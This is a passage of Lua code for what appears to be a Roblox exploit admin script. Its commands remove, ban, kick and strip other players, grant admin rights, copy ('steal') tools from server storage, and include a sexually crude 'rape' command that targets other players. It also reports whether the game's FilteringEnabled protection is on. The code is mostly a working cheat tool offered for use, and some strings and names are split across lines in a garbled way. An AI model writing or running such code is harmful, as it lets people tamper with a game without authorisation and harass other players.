c1=_cframe(0,-0.3,-0.1);
part0=h_part;
part1=tube;
handle;
};

bullets_label=_new'textLabel'{
textStrokeColor3=_RGB(0,0,0);
textColor3=_RGB(200,200,200);
textStrokeTransparency=0;
backgroundTransparency=1;
fontSize=5;
screen;
};

lightstuff=_new'frame'{
backgroundColor3=_RGB(255,255,255);
position=UDim2.new(0,0,0,-1);
backgroundTransparency=0.5;
size=UDim2.new(1,0,1,1);
borderSizePixel=0;
visible=false;
screen;
};

coroutine.wrap(function()
local red,white,green;
repeat
if(screen.Parent)then
if(not green and bullets.current==bullets.maximum)then
green=true;
bullets_label.TextColor3=_RGB(0,200,0);
elseif(not red and bullets.current==0)then
red=true;
bullets_label.TextColor3=_RGB(200,0,0);
elseif((red or green)and bullets.current~=0 and
bullets.current~=bullets.maximum)then
bullets_label.TextColor3=_RGB(200,200,200);
green=false;
red=false;
end;
bullets_label.Text=('Bullets:
%d/%d'):format(bullets.current,bullets.clip);

bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBound
s.Y);
bullets_label.Position=UDim2.new(1,-
bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
end;
wait(0.001);
until nil;
end)();

_G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
local vers=_G.dev_pistol_version;
repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
if(hum.Health==0)then
_clear();
end;
end
end)

addcmd('nil', 'removes the player',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
pcall(function() gPlayers[v].Character:Remove() end)
gPlayers[v].Character = nil
if FindTable(SPC, args[1]) then Notify('Made ' ..args[1].. ' nil') else
Notify('Made player(s) nil') end end end)

addcmd('addban', 'Adds a ban to the banlist if the player is offline.', {},


function(args, speaker)
local player = args[1]
local playerid = game:GetService("Players"):GetUserIdFromNameAsync(args[1])
if player ~= nil then
if FindTable(WL, player) then Notify('Error: '..player..' is whitelisted')
elseif not FindTable(banname, player) then
table.insert(banT, playerid)
banname[#banname + 1] = {NAME = tostring(player), ID =
tonumber(playerid), AGE = "-"}
updatebans()
Notify("Added ban for: "..player)
end
end
end)
addcmd('ban', 'goodbye ;)',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if FindTable(SPC, args[1]) then Notify('Banned ' ..args[1]) else
Notify('Banned player(s)') end
spawn(function()
if FindTable(WL, gPlayers[v].Name) then Notify('Error: '..gPlayers[v].Name..' is
whitelisted') else
if not FindTable(banname, gPlayers[v].Name) then
table.insert(banT, _players[v].userId)
banname[#banname + 1] = {NAME = tostring(gPlayers[v].Name), ID =
tonumber(gPlayers[v].userId), AGE = tonumber(gPlayers[v].AccountAge)}
updatebans()
kickF(gPlayers[v])
end
end
end)
end
end)

addcmd('clearbans', 'welcome back!',{'clrbans'},


function(args, speaker)
banT = {}
banname = {}
Notify('Removed all bans')
updatebans()
end)

addcmd('unban','unbans a player',{},
function(args, speaker)
if FindTable(banT, gPlayers:GetUserIdFromNameAsync(args[1])) then
table.remove(banT, GetInTable(banT,
gPlayers:GetUserIdFromNameAsync(args[1])))
for i,v in pairs(banname) do
if v.NAME == tostring(args[1]) then
table.remove(banname, i)
updatebans()
end end
Notify('Unbanned ' .. args[1])
end
end)

addcmd('dismiss', 'dismiss',{'verify'},
function(args, speaker)
for _, child in pairs( workspace:GetChildren()) do
if child.Name == speaker.Name .. "TAB" then
child:Destroy() end end
for a,b in pairs(hastab) do if b == speaker.Name then table.remove(hastab, a) end
end
end)

addcmd('admin', 'ur an admin now ;o',{},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if _players[v].userId ~= LP.userId and not isAdmin(_players[v]) then
table.insert(adminT, _players[v].userId)
adminname[#adminname + 1] = {NAME = tostring(gPlayers[v].Name)}
updateadmins()
if FindTable(SPC, args[1]) then Notify('Gave ' ..args[1].. '
admin') else
Notify('Gave player(s) admin') end
game:GetService('Chat'):Chat(gPlayers[v].Character, 'You are now an admin! The
prefix is ' .. cmdprefix, 1)
end end) end end end)

addcmd('unadmin', 'removes the admin',{'noadmin'},


function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local radmin = tostring(_players[v].Name)
if isAdmin(_players[v]) and _players[v].userId ~= LP.userId then
table.remove(adminT, GetInTable(adminT, _players[v].userId))
for a,b in pairs(adminname) do
if b.NAME == radmin then
table.remove(adminname, a)
updateadmins()
end end
game:GetService('Chat'):Chat(gPlayers[v].Character, 'You are no longer
an admin', 2)
if FindTable(SPC, args[1]) then Notify('Removed admin from ' ..
args[1]) else
Notify('Removed admin from player(s)') end
end
end
end
end)

addcmd('bang', 'owo',{'rape'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
local target = getPlayer(args[2], speaker)[1]
for i,v in pairs(players)do
if args[2] then
rape(target, v)
else
rape(v, speaker.Name)
end
end
end)

addcmd('bgui', 'gives player billboard gui presenting text',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if gPlayers[v].Character.Head:FindFirstChild("BillboardGui") then
gPlayers[v].Character.Head:FindFirstChild("BillboardGui"):Destroy()
end

y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = gPlayers[v].Character.Head
y.Adornee = gPlayers[v].Character.Head
f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Highway"
f.FontSize = "Size48"
f.Text = GLS(false, 1)
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 = Color3.new(255/255,255/255,255/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
end
end)

addcmd('unbgui', 'gives player billboard gui presenting text',{'nobgui'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
if gPlayers[v].Character.Head:FindFirstChild("BillboardGui") then
gPlayers[v].Character.Head:FindFirstChild("BillboardGui"):Destroy()
end
end
end)

function pipeTp(name,target)
spawn(function()
local pipe = Instance.new("Part")
pipe.Name = "Pipe"
pipe.Color = Color3.new(52/255,142/255,64/255)
pipe.Size = Vector3.new(8,8,8)
pipe.Anchored = true
local mesh = Instance.new("SpecialMesh",pipe)
mesh.MeshId = "rbxassetid://856736661"
mesh.Scale = Vector3.new(0.15, 0.15, 0.15)
local sound = Instance.new("Sound",pipe)
sound.SoundId = "rbxassetid://864352897"
sound.Volume = 1

local targetpos = game:GetService("Players")


[target].Character.HumanoidRootPart.CFrame

local char = game:GetService("Players")[name].Character


char.PrimaryPart = char.HumanoidRootPart
if char:FindFirstChild("Torso") then
char.Torso.Anchored = true
else
char.UpperTorso.Anchored = true
end

local torso = char.HumanoidRootPart


local initPos = torso.CFrame

pipe.Parent = workspace
pipe.CFrame = initPos - Vector3.new(0,8,0)

for i = 0,8,0.2 do
pipe.CFrame = initPos - Vector3.new(0,8-i,0)
if i >= 1 then char:SetPrimaryPartCFrame(pipe.CFrame +
Vector3.new(0,7,0)) end
game:GetService("RunService").RenderStepped:wait()
end

sound:Play()
for i = 7,-8,-0.2 do
char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,i,0))
game:GetService("RunService").RenderStepped:wait()
end
char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,-8,0))

for i = 8,0,-0.2 do
pipe.CFrame = initPos - Vector3.new(0,8-i,0)
game:GetService("RunService").RenderStepped:wait()
end

pipe.CFrame = targetpos - Vector3.new(0,8,0)


char:SetPrimaryPartCFrame(pipe.CFrame)

for i = 0,8,0.2 do
pipe.CFrame = targetpos - Vector3.new(0,8-i,0)
game:GetService("RunService").RenderStepped:wait()
end

local played = false


for i = -8,7,0.2 do
if i >= 0 and not played then played = true sound:Play() end
char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,i,0))
game:GetService("RunService").RenderStepped:wait()
end
char:SetPrimaryPartCFrame(pipe.CFrame + Vector3.new(0,7,0))

for i = 8,0,-0.2 do
pipe.CFrame = targetpos - Vector3.new(0,8-i,0)
if i >= 1 then char:SetPrimaryPartCFrame(pipe.CFrame +
Vector3.new(0,7,0)) end
game:GetService("RunService").RenderStepped:wait()
end

pipe:Destroy()

if char:FindFirstChild("Torso") then
char.Torso.Anchored = false
else
char.UpperTorso.Anchored = false
end
end)
end

addcmd('pipetp', 'uses pipe to tp plr to plr',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
local target = getPlayer(args[2], speaker)[1]
for i,v in pairs(players)do
pipeTp(v,target)
end
end)
addcmd('rhats', 'no more hats',{'removehats'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA('Accessory') then
v:destroy()
end
end
end
end)

addcmd('naked', 'no more clothing',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then
v:destroy()
end
end
end
end)

addcmd('rainbow', 'makes a players parts change colors',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
local Parts={}
local function GetDiscoColor(hue)
local section = hue % 1 * 3
local secondary = 0.5 * math.pi * (section % 1)
if section < 1 then
return Vector3.new(1, 1 - math.cos(secondary), 1 - math.sin(secondary))
elseif section < 2 then
return Vector3.new(1 - math.sin(secondary), 1, 1 - math.cos(secondary))
else
return Vector3.new(1 - math.cos(secondary), 1 - math.sin(secondary), 1)
end
end
local Part = function(x,y,z,color,tr,cc,an,parent)
local p = Instance.new('Part',parent)
p.formFactor = 'Custom'
p.Size = Vector3.new(x,y,z)
p.BrickColor = BrickColor.new(color)
p.CanCollide = cc
p.Transparency = tr
p.Anchored = an
p.TopSurface,p.BottomSurface = 0,0
p:BreakJoints''
table.insert(Parts,p)
return p
end
local Weld = function(p0,p1)
local w = Instance.new('Motor',p0)
w.Part0 = p0
w.Part1 = p1
return w
end
local Mesh = function(par,num,x,y,z)
local msh = 0
if num == 1 then
msh = Instance.new("SpecialMesh",par)
msh.MeshId='rbxasset://fonts/torso.mesh'
msh.TextureId='rbxasset://25701026'
end
if num == 2 then
msh = Instance.new("SpecialMesh",par)
msh.MeshId='rbxasset://fonts/head.mesh'
msh.TextureId='rbxassetid://25701026'
end
msh.Scale = Vector3.new(x,y,z)
return msh
end
local char=gPlayers[v].Character
for _,v in pairs(char:GetChildren()) do
if v.ClassName=="Part" then
v.Transparency=1
elseif v.ClassName=="Hat" then
v.Handle.Mesh.TextureId='rbxassetid://25701026'
table.insert(Parts,v.Handle)
end
end
local t=Part(1,1,1,'',0,false,false,char)
Mesh(t,1,1,1,1)
Weld(char.Torso,t)
local a=Part(1,1,1,'',0,false,false,char)
Mesh(a,1,.5,1,1)
Weld(char['Right Arm'],a)
local a=Part(1,1,1,'',0,false,false,char)
Mesh(a,1,.5,1,1)
Weld(char['Left Arm'],a)
local l=Part(1,1,1,'',0,false,false,char)
Mesh(l,1,.5,1,1)
Weld(char['Right Leg'],l)
local l=Part(1,1,1,'',0,false,false,char)
Mesh(l,1,.5,1,1)
Weld(char['Left Leg'],l)
local h=Part(1,1,1,'',0,false,false,char)
Mesh(h,2,1,1,1)
Weld(char.Head,h)
spawn(function()
while(coroutine.yield())do
for i=1,#Parts do
Parts[i].Mesh.VertexColor=GetDiscoColor(tick()*.5)
end
end;
end);
end
end)

addcmd('notools', 'no more tools',{'rtools','clrtools','removetools'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Backpack:GetDescendants()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:destroy() end
for i,v in pairs(players) do
for i,v in pairs(gPlayers[v].Character:GetDescendants()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:destroy() end end end
end
end
end)

addcmd('keeptools', 'saves tools in starterpack',


{'startertools','stools','ktools'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local function copy(instance)
for i,c in pairs(instance:GetChildren())do
if c:IsA('Tool') or c:IsA('HopperBin') then
c:Clone().Parent = gPlayers[v].StarterGear end
copy(c)
end
end
copy(gPlayers[v].Backpack)
end
for i,v in pairs(players)do
local function copy(instance)
for i,c in pairs(instance:GetChildren())do
if c:IsA('Tool') or c:IsA('HopperBin') then
c:Clone().Parent = gPlayers[v].StarterGear end
copy(c)
end
end
copy(gPlayers[v].Character)
end
Notify('Copied tools to StarterGear')
end)

addcmd('nokeeptools', 'deletes tools in starterpack',


{'unkeeptools','nokeeptools','nostartertools','unstartertools','nostools','unstools
','noktools','unktools'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
for i,c in pairs(gPlayers[v].StarterGear:GetChildren())do
if c:IsA('Tool') or c:IsA('HopperBin') then c:destroy()
end end end
Notify('Cleared tools from StarterGear')
end)

addcmd('tools', 'steals tools from serverstorage and lighting',{'gears'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local function copy(instance)
for i,c in pairs(instance:GetChildren())do
if c:IsA('Tool') or c:IsA('HopperBin') then
c:Clone().Parent = gPlayers[v].Backpack end
copy(c)
end
end
copy(LightingService)
end
for i,v in pairs(players)do
local function copy(instance)
for i,c in pairs(instance:GetChildren())do
if c:IsA('Tool') or c:IsA('HopperBin') then
c:Clone().Parent = gPlayers[v].Backpack end
copy(c)
end
end
copy(game.ReplicatedStorage)
end
end)

wdisco = false
addcmd('partdisco', 'color spams the workspace',{'pdisco'},
function(args, speaker)
if wdisco == false then
wdisco = true
presets = {"Bright red","Bright yellow","Bright orange","Bright violet","Bright
blue","Bright bluish green","Bright green"}
repeat wait(1)
if wdisco == true then
local function color(instance)
for i,v in pairs(instance:GetChildren())do
if v.className == "Part" then
v.BrickColor =
BrickColor.new(presets[math.random(1,#presets)]) end
color(v)
end
end
color(workspace)
end
until wdisco == false
end
end)

addcmd('unpartdisco', 'stops workspacedisco',{'unpdisco','nopartdisco','nopdisco'},


function(args, speaker)
wdisco = false
end)

addcmd('gravity', 'workspace gravity',{''},


function(args, speaker)
workspace.Gravity = args[1]
Notify('Gravity set to ' .. args[1])
end)

SINFOGUIopen = false
function serverinfogui()
if SINFOGUIopen == false then
local Sinfo = Instance.new("ScreenGui")
local drag = Instance.new("Frame")
local PromptDialog = Instance.new("Frame")
local shadow = Instance.new("Frame")
local PopupText = Instance.new("TextLabel")
local Exit = Instance.new("TextButton")
local ContainerFrame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextLabel2 = Instance.new("TextLabel")
local TextLabel3 = Instance.new("TextLabel")
local Time = Instance.new("TextLabel")
local appearance = Instance.new("TextLabel")
local fe = Instance.new("TextLabel")
local maxplayers = Instance.new("TextLabel")
local name = Instance.new("TextLabel")
local placeid = Instance.new("TextLabel")
local playerid = Instance.new("TextLabel")
local players = Instance.new("TextLabel")
Sinfo.Name = "Sinfo"
Sinfo.Parent = game.CoreGui
drag.Name = "drag"
drag.Parent = Sinfo
drag.Active = true
drag.BackgroundColor3 = Color3.new(1, 1, 1)
drag.BackgroundTransparency = 1
dragGUI(drag)
drag.Position = UDim2.new(0.5, -150, 0, -400)
drag.Size = UDim2.new(0, 290, 0, 30)
PromptDialog.Name = "PromptDialog"
PromptDialog.Parent = drag
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1
PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0, -10, 0, 0)
PromptDialog.Size = UDim2.new(0, 310, 0, 300)
PromptDialog.ZIndex = 8
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0.0322580636, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 290, 0, 26)
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 8, 0, -3)
PopupText.Size = UDim2.new(1, -16, 0.538461566, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.FontSize = Enum.FontSize.Size28
PopupText.Text = "Server"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
Exit.Name = "Exit"
Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0)
Exit.BackgroundTransparency = 0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0)
Exit.BorderSizePixel = 0
Exit.Position = UDim2.new(0, 267, 0, 3)
Exit.Size = UDim2.new(0, 20, 0, 20)
Exit.FontSize = Enum.FontSize.Size14
Exit.Text = ""
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 10, 0, 29)
ContainerFrame.Size = UDim2.new(0.935483873, 0, 0.806666672, 0)
ContainerFrame.ZIndex = 5
TextLabel.Name = "Text Label"
TextLabel.Parent = ContainerFrame
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel.BackgroundTransparency = 1
TextLabel.BorderColor3 = Color3.new(0, 0, 0)
TextLabel.Position = UDim2.new(0, 10, 0, 70)
TextLabel.Size = UDim2.new(0, 100, 0, 20)
TextLabel.ZIndex = 10
TextLabel.Font = Enum.Font.SourceSans
TextLabel.FontSize = Enum.FontSize.Size24
TextLabel.Text = "Run Time:"
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextStrokeTransparency = 0
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
TextLabel2.Name = "Text Label2"
TextLabel2.Parent = ContainerFrame
TextLabel2.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel2.BackgroundTransparency = 1
TextLabel2.BorderColor3 = Color3.new(0, 0, 0)
TextLabel2.Position = UDim2.new(0, 10, 0, 120)
TextLabel2.Size = UDim2.new(0, 100, 0, 20)
TextLabel2.ZIndex = 10
TextLabel2.Font = Enum.Font.SourceSans
TextLabel2.FontSize = Enum.FontSize.Size24
TextLabel2.Text = "Statistics:"
TextLabel2.TextColor3 = Color3.new(1, 1, 1)
TextLabel2.TextStrokeTransparency = 0
TextLabel2.TextXAlignment = Enum.TextXAlignment.Left
TextLabel3.Name = "Text Label3"
TextLabel3.Parent = ContainerFrame
TextLabel3.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel3.BackgroundTransparency = 1
TextLabel3.BorderColor3 = Color3.new(0, 0, 0)
TextLabel3.Position = UDim2.new(0, 10, 0, 0)
TextLabel3.Size = UDim2.new(0, 100, 0, 20)
TextLabel3.ZIndex = 10
TextLabel3.Font = Enum.Font.SourceSans
TextLabel3.FontSize = Enum.FontSize.Size24
TextLabel3.Text = "Local Player:"
TextLabel3.TextColor3 = Color3.new(1, 1, 1)
TextLabel3.TextStrokeTransparency = 0
TextLabel3.TextXAlignment = Enum.TextXAlignment.Left
Time.Name = "Time"
Time.Parent = ContainerFrame
Time.BackgroundColor3 = Color3.new(0, 0.8, 1)
Time.BackgroundTransparency = 1
Time.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
Time.Position = UDim2.new(0, 10, 0, 90)
Time.Size = UDim2.new(0, 100, 0, 20)
Time.ZIndex = 100
Time.Font = Enum.Font.ArialBold
Time.FontSize = Enum.FontSize.Size14
Time.Text = "Loading..."
Time.TextColor3 = Color3.new(1, 1, 1)
Time.TextStrokeTransparency = 0
Time.TextXAlignment = Enum.TextXAlignment.Left
appearance.Name = "appearance"
appearance.Parent = ContainerFrame
appearance.BackgroundColor3 = Color3.new(0, 0.8, 1)
appearance.BackgroundTransparency = 1
appearance.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
appearance.Position = UDim2.new(0, 10, 0, 40)
appearance.Size = UDim2.new(0, 100, 0, 20)
appearance.ZIndex = 10
appearance.Font = Enum.Font.ArialBold
appearance.FontSize = Enum.FontSize.Size14
appearance.Text = "Appearance: Loading..."
appearance.TextColor3 = Color3.new(1, 1, 1)
appearance.TextStrokeTransparency = 0
appearance.TextXAlignment = Enum.TextXAlignment.Left
fe.Name = "fe"
fe.Parent = ContainerFrame
fe.BackgroundColor3 = Color3.new(0, 0.8, 1)
fe.BackgroundTransparency = 1
fe.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
fe.Position = UDim2.new(0, 10, 0, 200)
fe.Size = UDim2.new(0, 100, 0, 20)
fe.ZIndex = 10
fe.Font = Enum.Font.ArialBold
fe.FontSize = Enum.FontSize.Size14
fe.Text = "Loading..."
fe.TextColor3 = Color3.new(1, 1, 1)
fe.TextStrokeTransparency = 0
fe.TextXAlignment = Enum.TextXAlignment.Left
maxplayers.Name = "maxplayers"
maxplayers.Parent = ContainerFrame
maxplayers.BackgroundColor3 = Color3.new(0, 0.8, 1)
maxplayers.BackgroundTransparency = 1
maxplayers.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
maxplayers.Position = UDim2.new(0, 10, 0, 160)
maxplayers.Size = UDim2.new(0, 100, 0, 20)
maxplayers.ZIndex = 10
maxplayers.Font = Enum.Font.ArialBold
maxplayers.FontSize = Enum.FontSize.Size14
maxplayers.Text = "Loading..."
maxplayers.TextColor3 = Color3.new(1, 1, 1)
maxplayers.TextStrokeTransparency = 0
maxplayers.TextXAlignment = Enum.TextXAlignment.Left
name.Name = "name"
name.Parent = ContainerFrame
name.BackgroundColor3 = Color3.new(0, 0.8, 1)
name.BackgroundTransparency = 1
name.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
name.Position = UDim2.new(0, 10, 0, 180)
name.Size = UDim2.new(0, 100, 0, 20)
name.ZIndex = 10
name.Font = Enum.Font.ArialBold
name.FontSize = Enum.FontSize.Size14
name.Text = "Place: Loading..."
name.TextColor3 = Color3.new(1, 1, 1)
name.TextStrokeTransparency = 0
name.TextXAlignment = Enum.TextXAlignment.Left
placeid.Name = "placeid"
placeid.Parent = ContainerFrame
placeid.BackgroundColor3 = Color3.new(0, 0.8, 1)
placeid.BackgroundTransparency = 1
placeid.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
placeid.Position = UDim2.new(0, 10, 0, 220)
placeid.Size = UDim2.new(0, 100, 0, 20)
placeid.ZIndex = 10
placeid.Font = Enum.Font.ArialBold
placeid.FontSize = Enum.FontSize.Size14
placeid.Text = "Place ID: Loading..."
placeid.TextColor3 = Color3.new(1, 1, 1)
placeid.TextStrokeTransparency = 0
placeid.TextXAlignment = Enum.TextXAlignment.Left
playerid.Name = "playerid"
playerid.Parent = ContainerFrame
playerid.BackgroundColor3 = Color3.new(0, 0.8, 1)
playerid.BackgroundTransparency = 1
playerid.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
playerid.Position = UDim2.new(0, 10, 0, 20)
playerid.Size = UDim2.new(0, 100, 0, 20)
playerid.ZIndex = 10
playerid.Font = Enum.Font.ArialBold
playerid.FontSize = Enum.FontSize.Size14
playerid.Text = "Player ID: Loading..."
playerid.TextColor3 = Color3.new(1, 1, 1)
playerid.TextStrokeTransparency = 0
playerid.TextXAlignment = Enum.TextXAlignment.Left
players.Name = "players"
players.Parent = ContainerFrame
players.BackgroundColor3 = Color3.new(0, 0.8, 1)
players.BackgroundTransparency = 1
players.BorderColor3 = Color3.new(0.2, 0.8, 0.2)
players.Position = UDim2.new(0, 10, 0, 140)
players.Size = UDim2.new(0, 100, 0, 20)
players.ZIndex = 100
players.Font = Enum.Font.ArialBold
players.FontSize = Enum.FontSize.Size14
players.Text = "Loading..."
players.TextColor3 = Color3.new(1, 1, 1)
players.TextStrokeTransparency = 0
players.TextXAlignment = Enum.TextXAlignment.Left
local SINFOGUI = ContainerFrame
drag:TweenPosition(UDim2.new(0.5, -150, 0, 100), "InOut", "Quart", 0.5, true, nil)
SINFOGUIopen = true wait(0.5)
local Asset = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
SINFOGUI.name.Text = "Place: " .. Asset.Name
Exit.MouseButton1Click:Connect(function()
drag:TweenPosition(UDim2.new(0.5, -150, 0, -400), "InOut", "Quart", 0.5, true, nil)

wait(0.6) SINFOGUIopen = false Sinfo:Destroy() end)


SINFOGUI.playerid.Text = "Player ID: " ..gPlayers.LocalPlayer.UserId
if workspace.FilteringEnabled == true then
SINFOGUI.fe.Text = "Filtering Enabled"
elseif workspace.FilteringEnabled == false then
SINFOGUI.fe.Text = "Filtering Disabled" end
SINFOGUI.maxplayers.Text = gPlayers.MaxPlayers.. " Players Max"
SINFOGUI.placeid.Text = "Place ID: " ..game.PlaceId repeat
players = gPlayers:getPlayers()
SINFOGUI.players.Text = #players.. " Player(s)"
SINFOGUI.appearance.Text = "Appearance:
" ..gPlayers.LocalPlayer.CharacterAppearanceId
local seconds = math.floor(workspace.DistributedGameTime)
local minutes = math.floor(workspace.DistributedGameTime / 60)
local hours = math.floor(workspace.DistributedGameTime / 60 / 60)
local seconds = seconds - (minutes * 60)
local minutes = minutes - (hours * 60)
if hours < 1 then if minutes < 1 then
SINFOGUI.Time.Text = seconds .. " Second(s)" else
SINFOGUI.Time.Text = minutes .. " Minute(s), " .. seconds .. " Second(s)" end
else
SINFOGUI.Time.Text = hours .. " Hour(s), " .. minutes .. " Minute(s), " ..
seconds .. " Second(s)"
end wait(1) until SINFOGUIopen == false end end
addcmd('serverinfo', 'gives you info about the server',{'info','sinfo'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker)
else
serverinfogui()
end
end)

addcmd('sparkles', 'give a player sparkles',{'sp'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
local pchar=_char(v)
local Sparkles1 = Instance.new("Sparkles", pchar.Head)
local Sparkles2 = Instance.new("Sparkles", pchar.HumanoidRootPart)
local Sparkles3 = Instance.new("Sparkles", pchar["Left Arm"])
local Sparkles4 = Instance.new("Sparkles", pchar["Right Arm"])
local Sparkles5 = Instance.new("Sparkles", pchar["Left Leg"])
local Sparkles6 = Instance.new("Sparkles", pchar["Right Leg"])
if not args[2] then return end
Sparkles1.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Sparkles2.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Sparkles3.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Sparkles4.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Sparkles5.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
Sparkles6.Color = Color3.fromRGB((args[2]),(args[3]),(args[4]))
end)
end
end)

addcmd('nosparkles', 'remove sparkles from a player',{'unsparkles','unsp','nosp'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar:GetDescendants()) do
if v1:IsA("Sparkles") then
v1:Destroy()
end end end
end)

addcmd('smoke', 'give a player smoke',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
Instance.new("Smoke", pchar.HumanoidRootPart)
end
end)

addcmd('addstat', 'give a player a stat',{},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
spawn(function()
if gPlayers[v]:FindFirstChild("leaderstats") then
for _, child in pairs(gPlayers[v].leaderstats:GetChildren()) do
if child.Name == "STAT" then
child:Destroy()
end
end
local score = Instance.new("StringValue")
score.Name = "STAT"
score.Value = GLS(false, 1)
score.Parent = gPlayers[v].leaderstats
else
local stats = Instance.new("IntValue")
stats.Name = "leaderstats"
stats.Parent = gPlayers[v]
for _, child in pairs(gPlayers[v].leaderstats:GetChildren()) do
if child.Name == "STAT" then
child:Destroy()
end
end
local score = Instance.new("StringValue")
score.Name = "STAT"
score.Value = GLS(false, 1)
score.Parent = gPlayers[v].leaderstats
end
end)
end
end)

addcmd('unsmoke', 'remove smoke from a player',{'nosmoke'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for j,v1 in pairs(pchar:GetDescendants()) do
if v1:IsA("Smoke") then
v1:Destroy()
end
end
end
end)

addcmd('longneck', 'makes a player have a really long neck',{'giraffe'},


function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for i,v in pairs(pchar:GetChildren()) do
if pchar.Torso:FindFirstChild("Neck") then
pchar.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-
math.rad(90),0,math.rad(180))
local Neck = pchar:FindFirstChild("Neck") if Neck then Neck:Destroy()
end
Neck = Instance.new("Part", pchar) Neck.Name = "Neck" Neck.Size =
Vector3.new(1,3,1)
Neck.Position = Vector3.new(0,100,0) Neck.BrickColor =
BrickColor.new(tostring(pchar.Head.BrickColor)) Neck.Locked = true
local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale =
Vector3.new(0.7,1,0.7)
local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 =
pchar.Torso Weld.C0 = CFrame.new(0,-2,0)
end
end
end
end)

